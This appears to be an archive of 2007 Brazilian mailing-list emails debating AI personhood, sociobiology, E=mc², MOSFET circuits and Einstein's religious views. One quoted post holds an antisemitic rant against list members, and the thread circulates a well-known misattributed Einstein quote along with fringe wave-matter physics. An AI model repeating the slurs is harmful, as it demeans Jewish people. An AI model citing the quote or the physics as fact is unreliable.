> Sent: Friday, May 04, 2007 2:16 PM
> Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO
E EUNUCO
>
>
> Olha o salto Pesky.
>
> O computador estará fazendo cálculos matemáticos.
>
> Ponto.
>
> --- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@>
> escreveu
> >
> > Essa questão de imitar ou não é mais complexa do que isso.
> > Um robô mecânico como o Asimo pode ser dito como "imitando"
> > o andar humano. Mas uma calculadora que multiplique 2 * 2
> > não estará imitando uma computação que fazemos mentalmente:
> > estará *fazendo* essa computação (com heurística diferente,
> > mas estará). A diferença fundamental é que um furacão pode
> > ser simulado em um computador (e a simulação pode "destelhar"
> > casas virtuais; obviamente ninguém confundiria isso com a
> > realidade), mas um robô que pensa não estará "imitando" nosso
> > pensar: ele estará realmente pensando.
> >
> > *PB*
> >
> >
> >
> > ----- Original Message -----
> > From: constantor
> > To: Acropolis_@yahoogrupos.com.br
> > Sent: Thursday, May 03, 2007 10:12 PM
> > Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E EUNUCO
> >
> >
> > Animais naõ imitam, possuem o atributo vida. Alguns animais
> imitam
> > atributos que não possuem, como o papagaio. Máquinas também
> podem
> > imitar o raciocínio lógico matemático, mas a subjetividade não
> se
> > reduz a isto.
> >
> > --- Em Acropolis_@yahoogrupos.com.br, "John C"
> > <johnconstantine2@> escreveu
> > >
> > > Olá
> > >
> > >
> > >
> > > Um dos atributos da pessoa humana é a vida. Animais imitam a
> vida?
> > >
> > >
> > >
> > > Qual a diferença entre possuir um atributo e imita-lo? Tal
> coisa é
> > possível?
> > > Posso imitar o Superman voando?
> > >
> > >
> > >
> > > _____
> > >
> > > De: Acropolis_@yahoogrupos.com.br
> > [mailto:Acropolis_@yahoogrupos.com.br] Em
> > > nome de constantor
> > > Enviada em: quinta-feira, 3 de maio de 2007 16:25
> > > Para: Acropolis_@yahoogrupos.com.br
> > > Assunto: Re: RES: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -

> > HOMERO E
> > > EUNUCO
> > >
> > >
> > >
> > > Porque, dado que não são pessoas, eles não possuem estes
> > atributos,
> > > apenas os imitam.
> > >
> > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br, "John C"
> > > <johnconstantine2@> escreveu
> > > >
> > > > Olá
> > > >
> > > >
> > > >
> > > > E que direitos possuímos enquanto pessoas que não
possuímos
> > > enquanto
> > > > animais? E por que?
> > > >
> > > >
> > > >
> > > > Suponhamos quem sejamos pessoas por possuir os atributos
X,
> Y e
> > Z.
> > > Se para
> > > > cada atributo possuímos uma dada classe de direitos, por
que
> > seres
> > > outros
> > > > que possuam um desses atributos não podem ter a mesma
classe
> de
> > > direitos?
> > > > Que atributo humano nos dá o direito ao voto, por exemplo?
> Se
> > uma
> > > máquina
> > > > tiver esse atributo, ela não poderia votar?
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > _____
> > > >
> > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br
> > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br] Em
> > > > nome de constantor
> > > > Enviada em: quinta-feira, 3 de maio de 2007 15:50
> > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br
> > > > Assunto: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO
> > E
> > > EUNUCO
> > > >
> > > >
> > > >
> > > > Se não são pessoas, não há porque dar a elas direitos que
> > > possuímos
> > > > enquanto pessoas. Alguma proteção jurídica elas vão ter.
Mas
> aí,
> > > até
> > > > nossos animais domésticos têm.
> > > >
> > > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br, "John C"
> > > > <johnconstantine2@> escreveu
> > > > >
> > > > > Olá
> > > > >
> > > > >
> > > > >
> > > > > Sim, isso é certo e me parece indiscutível: máquinas não
> são e
> > > não
> > > > serão
> > > > > pessoas. A questão é por que somente as pessoas humanas
> devem
> > > ter
> > > > certos
> > > > > direitos? Burros não são pessoas e nem por isto
> consideramos
> > > certo
> > > > jogá-los
> > > > > num tanque de ácido. Por que direitos não poderiam ser
> dados a
> > > > máquinas que,
> > > > > vistas de fora, possuam consciência? (ou ajam tal qual,
o
> que
> > dá
> > > > na mesma,
> > > > > já que não podemos dizer que nosso vizinho possui
> consciência
> > > > também)
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Se uma máquina for capaz de escolher, por que não puni-
la
> por
> > > uma
> > > > dada
> > > > > atitude?
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _____
> > > > >
> > > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br] Em
> > > > > nome de constantor
> > > > > Enviada em: quarta-feira, 2 de maio de 2007 17:40
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Assunto: Re: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E
> > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > É tão óbvia a má fé do Eurico e tão intensa sua solidão
em
> > > relação
> > > > aos seus
> > > > > pares, que ele tem de distorcer conscientemente as
> afirmações
> > > dos
> > > > outros a
> > > > > fim de poder considerar as máquinas dentre as quais vive
> como
> > > seres
> > > > > iguaizinhos a ele.
> > > > >
> > > > >
> > > > >
> > > > > Ninguém disse que não há pesquisa, experimentos e
esforços
> > rumo a
> > > > > Inteligência Artificial. O que se está afirmando é que
> esta,
> > > mesmo
> > > > que um
> > > > > dia venha a ser construída, não é uma pessoa.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > ----- Original Message -----
> > > > >
> > > > > From: Eurico <mailto:caodejah@> Ferreira de Souza Jr.
> > > > >
> > > > > To: Acropolis_@yahoogru <mailto:Acropolis_@yahoogru
> > > > <mailto:Acropolis_%40yahoogrupos.com.br> pos.com.br>
> > > > pos.com.br
> > > > >
> > > > > Sent: Wednesday, May 02, 2007 8:23 AM
> > > > >
> > > > > Subject: Res: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO E
> > > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > [E]> é tão óbvia a má-fé do troll judeu, atacando
> > exaustivamente
> > > > > quem zela pela racionalidade e coerência filosófica que

> dó.
> > > > > Uns terroristas safados que não querem permitir o
trabalho
> > > > filosófico
> > > > > aos gentios e ficam enchendo a lista de merda religiosa.
> > > > > Pra eles o importante é tumultuar e evitar o
> esclarecimento,
> > > > > nem que, pra isso, tenham que cair no mais completo
> ridículo
> > > > indecente.
> > > > > Um dá carteirada de judeu, mas se lembramos esse fato,
fica
> > > > > ofendido, o outro se converteu ao cristianismo pra não
dar
> tão
> > > na
> > > > cara.
> > > > > Querem que sejamos cristãos sem pensamento critico,
> > > > > trabalhadores braçais sem ciência e tecnologia, patriotas
> > > > > sem consciência política, usuários de windows, desunidos
> > > > > e desorientados porque o papai do céu escolheu um povo
> > > > > e prometeu a terra (junto com os não escolhidos) pra
eles.
> > > > >
> > > > > Inteligência Artificial não é ficção científica: vou ter
> essa
> > > > matéria
> > > > > no ano que vem! (a keyword pra quem quer saber mais é
> prolog)
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1024>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1024
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1034>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1034
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1040>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1040
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _\|/_
> > > > >
> > > > >
> > > > >
> > > > > ----- Mensagem original ----
> > > > > De: Victor Molina -BR <victormolinabr@>
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Enviadas: Quarta-feira, 2 de Maio de 2007 1:06:10
> > > > > Assunto: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E
> EUNUCO
> > > > >
> > > > > É tão óbvia, mas tão óbvia a razão de porque o Homero e
o
> > Eunuco
> > > > são
> > > > > entusiastas da inteligência artificial, que acabamos não
> nos
> > > dando
> > > > conta,
> > > > > ora. É simples: a inteligência artificial é a única
> esperança
> > > dos
> > > > dois de
> > > > > adquirirem algum tipo de inteligência. :-)
> > > > >
> > > > >
> > > > >
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> __________
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SUBJECT: Re: [ciencialist] Re: Questões sociobiológicas
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 16:23

João:

Se boa aparência indicasse qualquer qualidade intelectual diferenciada o que seria de Platão???

Sua noção de hierarquia precisa de uma revisão: veja o Aurélio, nosso pior dicionarista:

Hierarquia = Ordem e subordinação dos poderes eclesiásticos, civis e militares.
2. Graduação da autoridade, correspondente às várias categorias de funcionários públicos; classe.
3. Fig. Série contínua de graus ou escalões, em ordem crescente ou decrescente; escala: 2

em nenhuma dessas definições informa que há qualidades extraordinárias, além das do exercício do cargo. Temos bem à vista um exemplo lídimo: o nosso prezado apedeuta, Lula da Silva: ocupa a mais alta hierarqua do poder executivo: com honestidade, você gostaria que sua esposa fosse inseminada com o esperma desse cara, num caso de fertilização artificial???
(por favor não tenho o menos intúido de ofendê-lo ou à sua esposa, se a tem: citei apenas como figura para ilustrar, exemplificar sua teoria).

boa tarde,

silvio.
----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 10:58 AM
Subject: [ciencialist] Re: Questões sociobiológicas


Olá, Takata.

> > Na verdade, o que importa mesmo é que o indivíduo seja
reconhecido
> > pela sociedade como filho de um homem de alta hierarquia, seja
ele o
> > verdadeiro pai ou não. Neste caso, seria interessante que o
amante
> > bonito e sedutor (características que parecem ser indicadores de
> > bons genes), ao acasalar com uma mulher de um macho dominante,
> > procurasse enviar espermatozóides Y para fecundá-la. É a
estratégia
> > perfeita.
>
> Primeiro, não existem estratégias perfeitas. Segundo, não é uma boa
> estratégia, pois seu filho teria o mm problema - acabaria criando
> filhos de outros. Se ele tem uma filha, praticamente todos os filhos
> serão delas.

Esse é um dilema. Provavelmente a teoria dos jogos tem algo a falar
sobre isso. A estratégia do amante pode ser bem sucedida. Mas o
problema é que um homem que adote esta estratégia corre o perigo de
que outros também o façam, acasalando com sua esposa. Se os genes que
regulam o comportamento do amante (e da esposa adúltera) se espalham,
o casamento deixa de ser uma boa estratégia evolutiva e a estratégia
do sexo livre se espalha. Aí a sociedade se desloca para o pólo
matrilinear, no qual não é o pai que investe na prole, e sim o irmão
da mãe, que tem garantia de que a prole tem seus genes. Mas como eu
já disse essa estratégia é mais interessante para as mulheres que
para os homens, já que a prole tem apenas 25% de genes de seu tio. É
interessante para a mulher porque ela tem maior liberdade de escolha
com quem irá acasalar, podendo selecionar aqueles de melhores genes.
Em uma sociedade com uma ordem matrimonial rígida a mulher não pode
escolher seus parceiros sexuais, a não ser que o faça na
clandestinidade, quando o marido não estiver vendo. A questão da
escolha da fêmea, que foi tema de discussão de G. F. Miller em sua
longa tese sobre a evolução da mente humana, é bastante complicada.
(Miller procura argumentar que foi a seleção sexual, ou seja, a
escolha da fêmea, que promoveu a evolução de nossa espécie.)

> > Sobre "a tendência endogâmica da alta corte", lembre-se que o
> > paradigma aqui é o do ambiente ancestral.

> E o q o leva a pensar q fosse diferente nos tempos idos?

Realmente existia algum tipo de endogamia, pois os grupos eram muito
pequenos. Mas até onde eu sei hierarquia não tinha nada a ver com
isso. Em algumas culturas, por exemplo, a sociedade se divide em
grupos de dois clãs que trocam mulheres entre si. As vezes o clã A
fornece esposas para o clã B, que fornece esposas para o C, que
fornece esposas para o A. E por aí vai. Existem regras
complicadíssimas, mas em geral elas envolvem grupos pequenos. Mas meu
ponto é: no ambiente ancestral, até onde eu sei, não existia nada
como uma alta corte. Os clãs eram relativamente iguais.

> > Vamos supor que nós somos velhos machos. Para não sairmos no
tapa,
> > nós elaboramos regras de troca de mulheres que dizem quem vai
casar
> > com quem. Você acha que nós iríamos considerar os garotos que
estão
> > acabando de chegar ao mundo, cheios de testosterona, e repartir
as
> > mulheres com eles? É provável que não.

> Se são velhos e temem a confrontação q poderes terão para impor suas
> regras?

É uma questão interessante. Se você olha para uma cultura primitiva,
provavelmente os líderes são homens velhos, já desprovidos de força.
Uma das explicações é que as regras foram forjadas no início dos
tempos, e contrariá-las é ir contra a lei cósmica. (Também era assim
que a nobreza mantinha o seu poder nos tempos pré-modernos.) Outra é
que os mais velhos não têm força, mas tem conhecimento e experiência.
Eles sabem melhor como agir em situações críticas, sabem negociar
melhor com grupos rivais, conhecem os caminhos, lugares e épocas onde
há alimento, e têm melhores habilidades políticas.

> > Nós dizemos para os jovens: A regra (que foi forjada no início da
> > criação) é que você vai casar com a filha da mulher tal, que tem
> > naquele momento uns 16 anos de idade. Isto é, o jovem vai ter que
> > esperar essa menina ter uma filha, que essa filha cresça durante
uns
> > 15 anos, para finalmente ter sua primeira mulher.

> Por q teria q esperar?

Por que é isso o que diz a regra. No ambiente ancestral os contratos
de casamento não eram feitos como na nossa civilização. Existiam
regras que diziam como eles deviam ocorrer.

> > > Não se descarta q houvesse sobra de mulheres ao longo da
evolução
> > humana
> >
> > Isso é algo muito improvável. No ambiente ancestral, a mulher
> > provavelmente era o bem mais precioso que um homem poderia ter. A
> > troca de mulheres entre famílias é um dos principais elementos na
> > formação dos laços sociais. Se o sujeito tem uma filha, ele não
vai
> > deixar ela andando solta por aí.

> Em um ambiente de sobra de mulheres as mulheres não serão o bem mais
> precioso.

Como eu disse, assumindo que a poligamia é o estado natural dos
casamentos, é difícil pensar que pudesse haver sobra de mulheres. É
como dinheiro. Não importa quão rica a sociedade seja, você não vê
dinheiro solto pelas ruas, sem dono. Se a mulher está livre,
sobrando, por que não casar com ela? De acordo com Donald Symons,
talvez o maior especialista em relações sexuais humanas, era muito
improvável que existisse, no ambiente ancestral, mulheres
descompromissadas.

> > É um fato que os homens procuram fazer sexo com um numero de
> > parceiras muito mais elevado que as mulheres. Isso sugere que a
> > estratégia r seja adotada por eles pelo menos em algumas
situações.
>
> A estratégia r ou K não se aplica separadamente a sexos, mas sim a
> populações. Por outro lado, homens não são mais mirrados q as
mulheres
> - grande parte da energia vai para o desenvolvimento do próprio
corpo
> (possivelmente em razão da seleção sexual, o aumento do custo
> individual masculino promovido pela escolha feita pelas mulheres -
> diminuindo a diferença de investimento de recursos na prole).

Desculpe, mas não entendi seu argumento.

Um abraço.
João de Carvalho






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SUBJECT: P/ J.Vitor - Material, imaterial e amaterial/Era Re: E=m.c2
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 16:27

Olá J.Victor

Victor: "Bem, vou aproveitar para dizer uma asneira para muitos, exceto para mim. Esse poema de
Drumond poderia muito bem nunca ter sido escrito. É ridículo, e as frases além da primeira
não mostram a genialidade do poeta. Acho que ele está é gozando com todo mundo! "

He, he, he..já que você abriu o precedente, e malhou um monstro sagrado, vou aproveitar e dizer o indizivel: penso a mesma coisa, ô poeminha babaca..:-)

Coisa de pós-modernista, digno de ser achincalhado pelo Sokal e sua cruzada contra as imposturas intelectuais. Não significa que o resto da produção artistica de Drumond seja toda ela do mesmo naipe, ainda que eu não goste de poesia em geral (gosto de Rosas de Hiroshima, mais ainda na voz dos Secos e Molhados, e acho Elegia 1938 bem sonoro e interessante), mas sim que este poema em especial me parece idota demais.

Tinha uma pedra no meio do caminho, e fez Drumond tropeçar feio..:-)

Um abraço.

Homero


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SUBJECT: Re: [ciencialist] Material, imaterial e amaterial/Era Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 16:35

Olá Manuel!

Manuel >>> Agora, vamos complicar um pouco a questão:
o conceito de "informação" tornou o debate entre
materialistas e idealistas um problema (quase)
irresolúvel.

--- Sobre isto, entendo assim, focos diferentes de
observação geram maneiras diferentes de raciocinar o
observado. Porém, raciocinios sobre o comportamento da
natureza podem ser distintos, mas, se verdadeiros,
devem ser analogos.

Manuel >>> Pois a informação é um "significado" que se
transmite e se traduz por meio de uma infinidade de
"significantes" - ou meios - materiais.

--- Compreendo assim: Comunicação é observação dos
fenomenos naturais pelo foco do pulso. Nestes
parametros, o que se transmite pelo meio é o
pulso-codificado. E não há significação (comum) se não
houver decodificação (comum).

--- Se olharmos para e=mc2 pelo foco da comunicação, a
constante C2 deve ser o código. Código da luz. Afinal,
na comunicação, a unica constante é o código.




sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Material, imaterial e amaterial/Era Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 16:44

Olá Chicao!

Chicao >>> Quem existe pra quem, entre o caminho, a
pedra e a pessoa???

--- Relativamente falando, cada um existe para o
outro. Universalmente falando, nenhum existe, pois não
há separação de fato.

Chicao >>> Algo existe porque pode passar
informação???

--- Pro receptor, sim. só assim.

Chicao >>> Informação não poderia ser apenas
interpretação???

--- Apenas não. Interpretação deve ser de algo, pois é
precisa para o processo do raciocinio alguma matéria
prima a ser processada.



sinceramente
ferrari



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SUBJECT: Material, imaterial e amaterial/Era Re: E=m.c2
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 19:25

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
<chicaovaladares@...> escreveu
>
> Manuel voce tem referencias sobre a interpretação da
> informação sobre esse enfoque???

Manuel: Sim, algumas. Sobre a anterioridade da lógica-mtemática em
relação ao mundo, ver os trabalhos de Bertrand Russell (Delineamentos
de Filosofia) e de Roger Penrose (O Grande, o Pequeno e a Mente
Humana). Sobre a relação INFORMAÇÃO -> ENERGIA -> MATÉRIA ver a
tese "neopitagórica" de matemática Maria Canzoni (uma explicação
dessa tese, você o encontra no livro 20.000 léguas matemáticas", de
A. K. Dewdney - Jorge Zahaar Editores, Rio de Janeiro, 2000, capítulo
6 e epílogo).

Segundo o físico J. Wheeler, a informação é a base da realidade. Foi
ele quem cunhou a expressão "o it vem do bit".

Abraços,
Manuel Bulcão
__________________
>
> --- Manuel Bulcão <manuelbulcao@...> escreveu:
> > porque meu parco conhecimento não permite. Só lembro
> > que há muitos
> > matemáticos - entre os quais Gödel e Penrose - que
> > sustentam a
> > anterioridade da razão matemática em relação à
> > matéria/energia, tese
> > esta responsável pela sobvrevida e oxigenação das
> > últimas formas de
> > idealismo "objetivo".
> >
> > Abraços,
> > Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 19:33

Prezados Senhores,

Embora já tenha apresentado minha opinião a respeito desta
célebre equação E=m.c2 e não ter sido bem entendido, volto
a insistir em que ela é a maior evidência de que *a matéria é
feita de ondas*.

A questão é: de que tipo de onda a matéria é feita? O que a
torna instável, a ponto de ser liberada em uma explosão nuclear
e o que a torna estável a ponto de conservar o número de
bárions?

Sei que existem inúmeras explicações teóricas para estes
fenômenos que não necessitam que a matéria seja feita de
ondas.

Entretanto, recentemente tem sido levantado a suspeita de que
matéria são ondas estacionárias (ver Wave Structure of Matter),
tendo o elétron como onda básica, capaz de gerar todas as
demais partículas...

Existem evidências de que isto é possível. Se for validado,
teremos um trunfo na mão. Se não for, continuaremos na
suspeita.

Se o elétron é uma onda básica ou não, não vem ao caso ainda.
Entretanto o maior ponto de discordia da Teoria Ondulatória
da Matéria é onde tais ondas refletem para se tornarem
estacionarias. Sim: já que partículas são ondas estacionárias elas
precisam de um *anteparo* para refletir!

A maioria dos especuladores supõem que as ondas de matéria
propagam-se e refletem-se nas 'bordas' do Ether, explicando
assim o porquê ocorrem interações mesmo entre objetos
astronomicamente distantes e o porquê nunca temos um
sistema perfeitamente isolado.

Essa explicação falha, porque sabemos que o Ether preenche
todo o Universo observável e que ele é extremamente grande.
Levaria muito, muito, muito tempo para que houvesse a
reflexão de uma onda estacionária tão minúscula como o
eletron. Alguns alegam que a reflexão vem ocorrendo desde o
inicio do Universo, é initerrupta e constante, logo não haveria
necessidade de uma onda ir e vir para fazer ocorrer uma
partícula... A onda sempre estaria ali, assim como o eletron de
um fio carregado sempre esteve ali: ele não se propagou da
Austrália para o Brasil, e sim a 'força eletromotriz' o fez
movimentar-se.

São vários blá-blá-blás de teorias que ainda não me deixaram
satisfeito. Existe a necessidade de uma explicação razoável de
como a onda de matéria reflete-se.

Não pode ser em outra onda, pois ondas normais não refletem
-se uma na outra. Elas podem colidir, ampliando, diminuindo ou
mesmo anulando uma a outra. Não existe nenhum exemplo na
natureza em que isso ocorra: não há reflexão entre ondas de
intensidades nem de frequências diferentes. Elas sempre
colidem.

Venho analisando atualmente a possibilidade de ondas eletro-
magnéticas com frequências tão infinitamente pequenas e
contendo energias tão avalasadoras que sucumbiriam em
'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
atemporais que aprisionariam as ondas de matérias,
transformando-as no que chamamos de partículas. Isto
evidenciaria o tempo uma entidade discreta e não contínua. As
ondas estariam aprisionadas de tal forma que somente em
colisões com outras partículas, sob determinados aspectos de
massa e velocidade, poderiam liberá-las. Sob outras condições,
as partículas poderiam ser absorvidas e por aí vai...

Estes comentários são só esboços de um trabalho maior que
tentam apenas demonstrar a grande evidência apontada por
E=m.c2. E isto não pode ser contestado.

Até a qualquer momento e um forte abraço.

Eduardo Sardeiro
http://br.groups.yahoo.com/group/NetProcessing/









SUBJECT: Re: [ciencialist] Re: Chaveamento com MOSFET IRFZ44N
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 21:05

Sílvio,

Ok. Grato.

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 07, 2007 3:37 PM
Subject: Re: [ciencialist] Re: Chaveamento com MOSFET IRFZ44N


Vitor:

Escreva para o meu filho Silvio Lúcio - silviogontijo@superig.com.br
e peça a ele uma cópia do programa para projetos de eletrônica: fantástico. Só não sei se vai como anexo: creio que vá. Deletei o meu pois essa não é minha praia...

boa tarde,

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 8:08 AM
Subject: Re: [ciencialist] Re: Chaveamento com MOSFET IRFZ44N

Deu saudades dos tempos em que estudei trabalhei com coisas do tipo.
Fui ao site indicado, que não conhecia, e lá indicaram um simulador que não conhecia:
o Circuit Maker. Na versão demo há 50 dispositivos dsp, inteiramente funcionais,
que dá para fazer muita coisa. Testei a versão. E recomendo para estudantes de
eletrônica. No google, "circuit maker download" fará você chegar lá e baixar muita coisa.
Substitui laboratórios e evita que você fique queimando
os sensíveis mosfets em suas experiências. O Multisim, mesmo na versão full,
não é tão simples e tão interativo quanto. Tempos danados aqueles, que não tinha
as facilidades de hoje. Já se fazem projetos de circuitos eletrônicos mais simplesmente
que nos antigamente. Coisas das eras.

Sds,.
Victor.

----- Original Message -----
From: Tipoalgo
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, May 05, 2007 9:59 PM
Subject: [ciencialist] Re: Chaveamento com MOSFET IRFZ44N

Olá a todos.

O Alexandre Salles do grupo Eletronicabr
(http://br.groups.yahoo.com/group/eletronicabr/messages) deu a dica:

On 5/5/07, Alexandre Salles <salles.eng@...> wrote:
> Os que estão com dreno no positivo da fonte os gates deverão ser
acionados
> com tensão maior que a tensão da fonte para que trabalhem saturados.
>
> Para aciona-los pode-se usar High Voltage Gate Drivers (HVICs) que
> internamente tem "charge-pump" para elevar a tensão no gate. Olhe em
> www.irf.com o IR2111.
>
> até mais,
>
> Alexandre Salles

Outra dica dada pelo Marco Dal Poz:

>Melhor que isso: os que tem source ligado ao GND são MOSFET canal-N,
>os outros 3 deveriam ser MOSFET canal-P com source ligado ao VCC.

Neste caso os pulsos no gate deveriam ser desafados.

Abraços
Tipoalgo

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SUBJECT: RE: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, estebanlmoreno@gmail.com
DATE: 07/05/2007 22:05

Esteban,
bem?
Parabens por furar o bloqueio imoderado.
abr/M.


>From: "Esteban Moreno" <estebanlmoreno@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] A idéia que Einstein fazia de Deus
>Date: Sun, 6 May 2007 20:45:10 -0300
>
>A idéia que Einstein fazia de Deus
><http://www.ansiao.net/einstein.jpg>
>
> *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
>pretende deduzir de minhas teorias científicas não as entendeu. Creio num
>Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>ideologia ateia.
>
>Não há oposição entre a ciência e a religião.
>Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>
>Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
>mecanicista e casualista como irremediavelmente antiquadas.
>
>No interior do átomo não reinam a harmonia e a regularidade que esses
>cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
>formuladas na base de estatísticas reformáveis. Ora, essa indeterminação,
>no
>plano da matéria, abre lugar à intervenção de uma Causa, que produza o
>equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
>matéria.
>
>Há, porém, várias maneiras de se representar Deus. Alguns o representam
>como
>o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
>o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
>fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
>Outros
>o representam como o Deus jurídico, legislador e agente policial da
>moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
>Deus interior, que dirige por dentro todas as coisas e que se revela aos
>homens no mais íntimo da consciêncía.
>-
>A mais bela e profunda emoção que se pode experimentar é a sensação do
>místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
>estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
>pelo
>encantamento, não passa, em verdade, de um morto.
>
>Saber que realmente existe aquilo que é impenetrável a nós, e que se
>manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
>as nossas faculdades embotadas só podem entender em suas formas mais
>primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
>verdadeira religiosidade.
>
>A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
>pesquisa científica. Minha religião consiste em humilde admiração do
>espírito superior e ilimitado que se revela nos menores detalhes que
>podemos
>perceber em nossos espíritos frágeis e incertos. Essa convicção,
>profundamente emocional na presença de um poder racionalmente superior, que
>se revela* no* incompreensível, é a ideia que faço de Deus».*
>
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>[As partes desta mensagem que não continham texto foram removidas]
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>Página de apoio
>http://www.ciencialist.com
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>Links do Yahoo! Grupos
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SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
CC: avalanchedrive@hotmail.com
DATE: 07/05/2007 22:20

Com certeza, gritava!
A Elsa, ou um outro qualquer... deviam encher o saco... what's the deal? O
homem estava vivo e tinha uma puta energia...
Com certeza, até o Ghandi gritava... e daí?
Vc não grita? Ou vc já está meio morto?
Quem pode enquadrar esse homem, que afinal era judeu?
O que mais ele tinha? Caspa? Quanta coisa imperdoável, não?
abr/M.


>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>Date: Mon, 7 May 2007 13:31:51 -0300
>
>De acordo com Elsa Einstein, quando Albert gritava a casa inteira ouvia...
>
>[ ]s
>
>Alvaro Augusto
>
>
>----- Original Message -----
>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>To: <ciencialist@yahoogrupos.com.br>
>Sent: Monday, May 07, 2007 10:12 AM
>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>
>Vitor:
>
>Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era
>do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
>Sobre deus, não entro no mérito.
>
>bom dia,
>
>silvio.
>3
